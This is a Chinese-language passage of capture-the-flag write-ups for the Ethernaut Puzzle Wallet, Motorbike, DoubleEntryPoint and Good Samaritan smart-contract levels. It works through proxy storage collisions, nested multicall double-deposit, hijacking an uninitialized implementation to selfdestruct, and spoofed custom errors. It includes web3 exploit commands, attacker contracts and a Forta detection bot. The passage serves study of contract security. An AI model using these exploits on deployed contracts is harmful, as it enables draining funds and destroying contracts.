bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}

题目要求成为代理合约的admin

首先先了解一下代理合约
更多:https://docs.openzeppelin.com/contracts/4.x/api/proxy
https://docs.openzeppelin.com/upgrades-plugins/1.x/proxies

由于在以太坊上的每一笔交易都是不可变的,这使得网络更安全、让每个人都能验证交易。然而由于这个限制,开发者无法更新合约代码,因为已经部署在区块链上的合约不能修改

为克服该问题,可升级合约(upgrableable contract)被引入。该部署模式由两个合约组成:代理合约(存储层)和实现合约(逻辑层)。在该架构下,用户合约通过代理合约与逻辑合约交互。当需要更新逻辑合约的代码时,代理合约更新逻辑合约的地址,从而允许用户与新的逻辑合约进行交互

xYT0sg.png

需要注意的是,实现可升级模式时,两个合约中slot的安排应该是相同的,因为slot是映射的(通常代理合约使用delegatecall调用逻辑合约的函数),这意味着当代理合约调用实现合约时,将修改代理合约的存储变量并在代理的上下文进行调用。

回到题目注意到代理合约和逻辑合约的slot存储如下

slot proxy contract logic contract
0 pendingAdmin owner
1 admin maxBalance
2 whitelisted(map)
3 balances(map)

想要将代理合约的admin,即可以将逻辑合约中的maxBalance改成player的地址。而对maxBalance操作的函数如下,注意到存在两个限制条件:1、合约的余额为0;2、函数修饰符onlyWhitelisted

1
2
3
4
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}

先看修饰符onlyWhitelisted,要先将player加到白名单里。addToWhitelist可以加入白名单,但是又要求只能owner才能使用

1
2
3
4
5
6
7
8
9
modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
...
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}

pendingAdminowner均存储于slot0,所以考虑修改pendingAdmin,如下调用即可

1
2
3
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}

再看如何将合约余额耗尽,初始余额为0.001

1
2
await getBalance(instance)
'0.001'

合约提供了函数execute,将合约的钱转给用户,要求balances[msg.sender] >= value才能取钱

1
2
3
4
5
6
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] = balances[msg.sender].sub(value);
(bool success, ) = to.call.value(value)(data);
require(success, "Execution failed");
}

再看能够操作balances[msg.sender]的函数,deposit能够存钱,但是合约通过映射balances记录了每个用户存了多少钱,存的钱会加到合约的总余额中,而execute取钱时会判断取出的金额不能超过用户存入的金额,所以这里就需要思考如何让合约记录的金额大于我们实际拥有的金额,从而取完合约中的钱

1
2
3
4
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] = balances[msg.sender].add(msg.value);
}

注意到函数muticall允许多次调用合约函数,但是会通过函数选择器判断调用的是否是deposit函数,如果是的话会加入一个flag位depositCalled来阻止多次调用deposit。这里是利用的关键

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}

通过muticall只能调用一次deposit,然而可以使用muticall连续调用两次muticall,内部的muticall再调用一次deposit,这样就能实现一次交易实际上调用了两次deposit,我们提供了0.001 ether,合约余额变为0.002 ether,但是合约记录我们存入的钱将是0.002 ether

1
2
3
4
5
6
7
       multicall
|
-----------------
| |
multicall multicall
| |
deposit deposit

接下来开始操作,首先通过proposeNewAdmin成为owner

1
2
3
functionSelector = web3.utils.sha3('proposeNewAdmin(address)').slice(0,10)
'0xa6376746'
await web3.eth.sendTransaction({from:player, to:contract.address, data:web3.utils.encodePacked(functionSelector, web3.utils.padLeft(player, 64))})

检查

1
2
player === await contract.owner()
true

然后把自己加入白名单

1
await contract.addToWhitelist(player)

构造数据进行函数调用并提供0.001 ether

1
2
3
depositData = await contract.methods["deposit()"].request().then(v=>v.data)
muticallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data)
await contract.multicall([muticallData, muticallData], {value:toWei('0.001')})

查看存储进行验证,映射存储的规则是键值和按顺序保留的第几个slot一起算keccak256,注意算的时候20字节的地址要补齐成32字节。存储的单位是wei,看到记录存进去了0.02 ether = 2000000000000000 wei = 0x71AFD498D0000 wei

1
2
3
4
5
position = await web3.utils.soliditySha3(web3.utils.padLeft(player, 64), 3)
position
'0xdef281e1f421293060b2db34c34ae4b665066cdf00fdb90a121f8d9e4fdc231f'
await web3.eth.getStorageAt(instance, position)
'0x00000000000000000000000000000000000000000000000000071afd498d0000'

存储位置的哈希值用solidity算也行

1
2
3
4
5
pragma solidity ^0.6.0;

contract test {
bytes32 public ans2 = keccak256(abi.encodePacked(uint(0x862570693111DB350a6376c095B7E57c7650E78d),uint(3)));
}

xNr1VU.png

而此时由于实际上我们只给合约提供了0.001 ether,所以合约余额0.002

1
2
await getBalance(instance)
'0.002'

于是便可以通过execute取出合约所有钱了

1
2
3
await contract.execute(player, toWei('0.002'), 0)
await getBalance(instance)
'0'

最后再用setMaxBalance即可成为admin

1
2
3
await contract.setMaxBalance(player)
await web3.eth.getStorageAt(contract.address, 1)
'0x000000000000000000000000862570693111db350a6376c095b7e57c7650e78d'

Motorbike

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";

contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

struct AddressSlot {
address value;
}

// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}

// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}

// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}

// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}

contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

address public upgrader;
uint256 public horsePower;

struct AddressSlot {
address value;
}

function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}

// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}

// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}

// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}

// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}

又没编译成功

题目要求使用selfdestructengine并让motorbike合约无法使用

本题使用UUPS(Universable Upgradeable Proxy standard)。上一个level看到的代理模式是Transparent代理模式。不同之处在于UUPS代理模式中,合约的升级逻辑在编码和实现合约中,而不是代理合约中,这可以让用户节省一些gas。结构如下

xyJFW4.png

另一个区别在和代理合约中定义了一个存储slot,用于存储逻辑合约的地址。每次逻辑合约升级时都会更新该值,防止存储冲突。更多参考https://eips.ethereum.org/EIPS/eip-1967

如下题目合约中定义了存储slot,该slot存放了实现/逻辑合约的地址

1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
1
2
3
4
5
6
await web3.eth.getStorageAt(instance, '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')
'0x000000000000000000000000dcc1325db619167919bdcad9c4c2ead79c515d63'
impl_addr = await web3.eth.getStorageAt(instance, '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')
'0x000000000000000000000000dcc1325db619167919bdcad9c4c2ead79c515d63'
impl_addr = '0x'+impl_addr.slice(-40)
'0xdcc1325db619167919bdcad9c4c2ead79c515d63'

注意题目中更新实现合约要求是upgrader,而初始化函数会将upgrader设置为msg.sender。所以只需要我们去调用实现合约的初始化函数,就能变成upgrader

1
2
3
4
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}

调用实现合约的初始化函数成为upgrader

1
2
3
beupgrader = await web3.eth.abi.encodeFunctionSignature("initialize()")
'0x8129fc1c'
await web3.eth.sendTransaction({from:player, to:impl_addr, data:beupgrader})

检查是否成为upgrader

1
2
3
4
5
6
upgraderData = web3.eth.abi.encodeFunctionSignature("upgrader()")
'0xaf269745'
await web3.eth.call({from: player, to: impl_addr, data: upgraderData}).then(v => '0x' + v.slice(-40).toLowerCase())
'0x862570693111db350a6376c095b7e57c7650e78d'
player
'0x862570693111DB350a6376c095B7E57c7650E78d'

然后自己部署一个执行selfdestruct的合约

1
2
3
4
5
6
7
8
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Destructive {
function killed() external {
selfdestruct(address(0));
}
}

接着由于我们已经成为upgrader,可以通过逻辑合约更新实现合约的地址,利用_upgradeToAndCall部署新的实现合约地址并执行函数

使用web3.eth.abi.encodeFunctionCall将函数调用根据其JSON接口对象和给定的参数进行ABI编码,将其作为data发送交易即可执行对应的函数调用,则实现合约会执行_upgradeToAndCall,内部会执行_setImplementation来更新实现合约地址,并使用delegatecall调用函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
attack_addr = <部署的攻击合约地址>
killData = web3.eth.abi.encodeFunctionSignature("killed()")

upgradeParams = [attack_addr, killData]

funcjson = {
name: 'upgradeToAndCall',
type: 'function',
inputs: [{
type: 'address',
name: 'newImplementation'
},{
type: 'bytes',
name: 'data'
}]
}
{name: 'upgradeToAndCall', type: 'function', inputs: Array(2)}

upgradeData = web3.eth.abi.encodeFunctionCall(funcjson, upgradeParams)
'0x4f1ef2860000000000000000000000006f04d3950540d0aa7f5653c783bcca30344c17c4000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000041f3a0e4100000000000000000000000000000000000000000000000000000000'

await web3.eth.sendTransaction({from:player, to:impl_addr, data:upgradeData})

采用UUPS模式的优点是只需部署非常少的代理。代理充当存储层,因此实现合约中的任何状态修改通常不会对使用它的系统产生副作用,因为只有通过委托调用使用逻辑。

这并不意味着如果不初始化实现合约,就不用注意可能被利用的漏洞。

这是UUPS模式发布几个月后真正发行的稍微简化的版本。

要点:永远不要让实现合约未初始化

DoubleEntryPoint

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "../Ownable.sol";
import "../ERC20.sol";

interface DelegateERC20 {
function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
function setDetectionBot(address detectionBotAddress) external;
function notify(address user, bytes calldata msgData) external;
function raiseAlert(address user) external;
}

contract Forta is IForta {
mapping(address => IDetectionBot) public usersDetectionBots;
mapping(address => uint256) public botRaisedAlerts;

function setDetectionBot(address detectionBotAddress) external override {
require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");
usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
}

function notify(address user, bytes calldata msgData) external override {
if(address(usersDetectionBots[user]) == address(0)) return;
try usersDetectionBots[user].handleTransaction(user, msgData) {
return;
} catch {}
}

function raiseAlert(address user) external override {
if(address(usersDetectionBots[user]) != msg.sender) return;
botRaisedAlerts[msg.sender] += 1;
}
}

contract CryptoVault {
address public sweptTokensRecipient;
IERC20 public underlying;

constructor(address recipient) public {
sweptTokensRecipient = recipient;
}

function setUnderlying(address latestToken) public {
require(address(underlying) == address(0), "Already set");
underlying = IERC20(latestToken);
}

/*
...
*/

function sweepToken(IERC20 token) public {
require(token != underlying, "Can't transfer underlying token");
token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
}
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
DelegateERC20 public delegate;

function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}

function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
delegate = newContract;
}

function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
address public cryptoVault;
address public player;
address public delegatedFrom;
Forta public forta;

constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) public {
delegatedFrom = legacyToken;
forta = Forta(fortaAddress);
player = playerAddress;
cryptoVault = vaultAddress;
_mint(cryptoVault, 100 ether);
}

modifier onlyDelegateFrom() {
require(msg.sender == delegatedFrom, "Not legacy contract");
_;
}

modifier fortaNotify() {
address detectionBot = address(forta.usersDetectionBots(player));

// Cache old number of bot alerts
uint256 previousValue = forta.botRaisedAlerts(detectionBot);

// Notify Forta
forta.notify(player, msg.data);

// Continue execution
_;

// Check if alarms have been raised
if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
}

function delegateTransfer(
address to,
uint256 value,
address origSender
) public override onlyDelegateFrom fortaNotify returns (bool) {
_transfer(origSender, to, value);
return true;
}
}

该level的特点是有一个具有特殊功能的CryptoVault,sweep Token功能。这是一个常用的函数,用来检索卡在合约中的代币。CryptoVault使用一个不被sweep的underlying token进行操作,因为它是CryptoVault的一个重要核心逻辑组件。任何其他代币都可以被sweep

underlying token是在DoubleEntryPoint合约定义中实现的DET令牌的一个实例,CryptoVault保存了它的100个单位。此外,VaultCrypto还持有100个LegacyToken LGT

在此level中,找出CryptoVault中的bug在哪里,并保护它不被耗尽代币

合约的特点是Forta合约,任何用户都可以注册自己的检测机器人合同。Forta是一个去中心化的、基于社区的监控网络,能够尽快检测到DeFi、NFT、治理、桥梁和其他Web3系统上的威胁和异常。你的工作是实现一个探测机器人,并在Forta合同中注册它。机器人的实现将需要发出正确的警报,以防止潜在的攻击或漏洞利用。

提示:代币合约的double entry是如何工作的

合约理解

LegacyToken

LegacyToken是一个ERC20代币,继承自Ownable。合约的owner可以mint新代币,并通过调用delegateToNewContract来更新delegaet变量的值

奇怪的部分是在transfer函数中覆盖了ERC20提供的标准。如果没有delegateaddress(delegate)==address(0)),则合约使用ERC20标准的默认逻辑,否则执行return delegate.delegateTransfer(to, value, msg.sender)

本例中,delegateDoubleEntryPoint合约本身。也就是当在LegacyToken上执行transfer时,实际上是在转发执行DoubleEntryPoint.delegateTransfer的操作。

DoubleEntryPoint

合约是一个正常的ERC20代币,继承自DelegateERC20和Ownable。DelegateERC20是一个接口,它强制合约实现LegacyToken代币所需的函数delegateTransfer(address to, uint256 value, address origSender)

constructor中,设置一些状态变量,并向CryptoVault铸造100个代币

fortaNotify 修饰符

该修饰符的作用是触发由Forta检测系统实现的一些逻辑,它在本地存储在执行代码函数之前引发的警报数量,并将该数量与在调用函数修饰符的函数体之后引发的警报数量进行比较。如果数量增加,则带着信息"Alert has been triggered, reverting"交易回滚。

delegateTransfer 函数

注意修饰符

  • onlyDelegateFrom只允许delegateFrom调用这个函数,此例中只允许LegacyToken合约调用此函数,否则将允许任何人从origSender调用_transfer(即低级ERC20 transfer)
  • fortaNotify是一个特殊的函数修饰符,触发一些特殊的Forta逻辑

该函数本身很简单,调用ERC20内置实现的_transfer函数。要记住的是_transfer只检查toorigSender不是address(0),并且origSender有足够的代币来transfer给to(也检查了下溢/上溢条件),但没有检查origSendermsg.sender,或者用钱的人有足够的余额,这是为什么用onlyDelegateFrom修饰符的原因

CryptoVault

该合约应当实现一个正常加密vault系统。和任何vault系统一样有一个underlying token,在本例中是DoubleEntryPoint

sweepToken函数可以被任何人调用,允许vault将任意代币(作为输入参数指定)的整个vault余额转移到sweptTokensRecipient。由于接收者是由合约在构造函数时初始化的,所以应该是安全的。所以唯一的检查是防止vault transfer underlying token

初始Vault中有100个代币

1
2
3
4
await contract.cryptoVault()
'0xbF6369825c63b44E926B1Cd80d7ECbc91ba12447'
await contract.balanceOf(vault).then(v => v.toString())
'100000000000000000000'

漏洞点

所有信息:

  • CrtyptoVault的underlying token是DoubleEntryPoint。合约提供一个sweepToken来传输vault中的代币,但它阻止了DoubleEntryPoint代币(因为它是underlying
  • DoubleEntryPoint代币是一个ERC20代币,实现了一个只可以由LegacyToken代币调用的自定义的delegateTransfer函数,并由Forta通过执行fortaNotify函数修饰符来监控该函数。该函数允许委托器从origSpender将一个数量的代币transfer给任意接收者
  • LegacyToken是一个已经被弃用的ERC20代币,当transfer(address to, uint256 value)函数被调用,DoubleEntryPoint(新发布的代币)delegate.delegateTransfer(to, value, msg.sender)被调用

问题出在,因为LegacyToken.transferDoubleEntryPoint.transfer的镜像,意味着当你要求你试图transfer1个LegacyToken时,实际上会transfer1个DoubleEntryPoint代币(为了这么做需要在余额中都有它们)

CryptoVault中包含两种代币各100各,但sweepToken只阻止underlying DoubleEntryPoint的transfer

但我们知道了LegacyToken是如何工作的,我们可以简单地通过调用CryptoVault.sweepToken(address(legacyTokenContract))来sweep所有DoubleEntryPoint代币,因为调用时判断了不是underlying,而调用token.transfer时又会因为delegateDoubleEntryPoint所以实际上调用了DoubleEntryPoint合约中的delegateTransfer函数,这里的两个修饰符都没问题,onlyDelegateFrom判断msg.senderlegacyTokenfortaNotify判断报警数量是否增加,最终执行_transfer(origSender, to, value),将DoubleEntryPoint转出

防护

接下来就要考虑如何利用Forta集成来防止利用并恢复。我们可以创建扩展Forta IDectectionBot的合约,并插入到DoubleEntryPoint中,那么当Vault sweepToken触发LegacyToken时,就能够防止利用,它会触发DoubleEntryPoint.delegateTransfer,这又会触发(在执行函数功能代码之前)fortaNotify函数修饰符。

IDectectionBot合约接口只有一个函数签名function handleTransaction(address user, bytes calldata msgData) external;,它将被DoubleEntryPoint.delegateTransfer带着这些参数forta.notify(player, msg.data)直接调用

在DetectionBot内部,只有当下面两个条件都达成时,发出报警:

  • 原始sender是CryptoVault(调用DoubleEntryPoint.delegateTransfer的人)
  • 调用函数的签名(calldata的前四字节)和delegateTransfer的签名相同

由于传递的参数是msgData,需要从其中提取出msg.sendermsg.data是一个btyes calldata数据类型,表示完整的调用数据,这意味着其中存在函数选择器(4字节)和函数payload

要提取参数,我们可以简单地使用abi.decode,像这样(address to, uint256 value, address origSender) = abi.decode(msgData[4:], (address, uint256, address))。一个重点:我们假设在这些字节中有三个特定类型的值,它们的顺序是特定的

接下来就很简单了,只需要合并msgData的前4个字节来重建调用签名,就像这样bytes memory callSig = abi.encodePacked(msgData[0], msgDataData[1], msgData[2], msgData[3]);,然后我们将它与我们知道的正确的签名作比较abi.encodeWithSignature("delegateTransfer(address,uint256,address)")

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pragma solidity ^0.6.0;

interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}


interface IForta {
function setDetectionBot(address detectionBotAddress) external;
function notify(address user, bytes calldata msgData) external;
function raiseAlert(address user) external;
}


contract DetectionBot is IDetectionBot {
address private monitoredSource;
bytes private monitoredSig = abi.encodeWithSignature("delegateTransfer(address,uint256,address)");


constructor(address _monitoredSource) public {
monitoredSource = _monitoredSource;
}

function handleTransaction(address user, bytes calldata msgData) external override {
(address to, uint256 value, address origSender) = abi.decode(msgData[4:], (address, uint256, address));

bytes memory callSig = abi.encodePacked(msgData[0], msgData[1], msgData[2], msgData[3]);

if (origSender == monitoredSource && keccak256(callSig) == keccak256(monitoredSig)) {
IForta(msg.sender).raiseAlert(user);
}
}
}

在constructor中,参数是想要监控的地址,本例中即CryptoVault,想要监控的函数签名在本例中即abi.encodeWithSignature("delegateTransfer(address,uint256,address)"),这里直接写死在合约中了。接下来只需要部署Bot合约,然后使用Forta合约中的setDetectionBot函数设置Bot即可,之后在发生利用的时候就会在notify函数中执行Bot合约对接口handleTransaction的实现,在这里判断并发出告警。

使用web3设置Bot合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
forta = await contract.forta()
'0x7f2b1906961fEce3Dab96eFFBCA58BC0cdF8c933'

botAddr = '0x6b0a7b8a63bc2862177520430E035321425CCd52'
'0x6b0a7b8a63bc2862177520430E035321425CCd52'

setBotSig = web3.eth.abi.encodeFunctionCall({
name: 'setDetectionBot',
type: 'function',
inputs: [
{ type: 'address', name: 'detectionBotAddress' }
]
}, [botAddr])
'0x9e927c680000000000000000000000006b0a7b8a63bc2862177520430e035321425ccd52'

await web3.eth.sendTransaction({from: player, to: forta, data: setBotSig })

Good Samaritan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
根据下面合约代码,告诉我如何把钱包里的余额全部取出
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
Wallet public wallet;
Coin public coin;

constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));

wallet.setCoin(coin);
}

function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}

contract Coin {
using Address for address;

mapping(address => uint256) public balances;

error InsufficientBalance(uint256 current, uint256 required);

constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}

function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];

// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;

if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}

contract Wallet {
// The owner of the wallet instance
address public owner;

Coin public coin;

error OnlyOwner();
error NotEnoughBalance();

modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}

constructor() {
owner = msg.sender;
}

function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}

function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}

function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}

interface INotifyable {
function notify(uint256 amount) external;
}

要求把钱包里的余额全部取出

提示:https://blog.soliditylang.org/2021/04/21/custom-errors/

custom errors

从solidity v0.8.4开始,通过自定义错误,提供了一种方便且节省gas的方式向用户解释操作失败的原因。截至目前,可以使用字符串来提供关于失败的更多信息(例如revert("Insufficient funds.");),但它们的开销很大,特别是涉及到部署成本时,而且很难在其中使用动态信息

使用error语句自定义错误,该语句可以在合约(包括接口和库)的内部和外部使用

分析

本题比较简单,发现使用了try catch,如果执行revert NotEnoughBalance()回滚,则会调用wallet.transferRemainder(msg.sender);一次性将剩下的钱都转走。所以考虑通过某种方法调用自定义的NotEnoughBalance错误。

发现在调用链中会调用下面语句,其中notify是一个接口

1
2
3
4
if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}

所以可以考虑编写合约,合约继承INotifyable并实现notify方法。但是经过尝试如果方法中只是revert NotEnoughBalance(),则在第二次transferRemainder时会再次调用revert NotEnoughBalance(),造成报错。

注意到notify方法有参数amount,即转账的数额,所以实际上第一次尝试转账是这里是10,第二次转账走的是transferreminder将是10**6-10,所以通过这里判断即可,第一次调用revert,第二次不做操作即可。

有一个点一开始没注意到是如果触发revert,这之前进行的操作都会回滚取消,所以这一路的变量修改什么的都将是无效的。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
interface INotifyable {
function notify(uint256 amount) external;
}

contract Attack is INotifyable{

GoodSamaritan public g;
error NotEnoughBalance();

constructor (address goodman_address) {
g = GoodSamaritan(goodman_address);
}

function notify(uint256 amount) external override {
if (amount<=10){
revert NotEnoughBalance();
}
}

function attack() public {
g.requestDonation();
}
}

参考

https://solidity-cn.readthedocs.io/zh/develop/solidity-by-example.html
https://zpano.gitee.io/2021/06/17/16/
https://zpano.gitee.io/2021/06/27/17/
https://0xsage.medium.com/
https://blog.dixitaditya.com/ethernaut-level-24-puzzle-wallet
……
……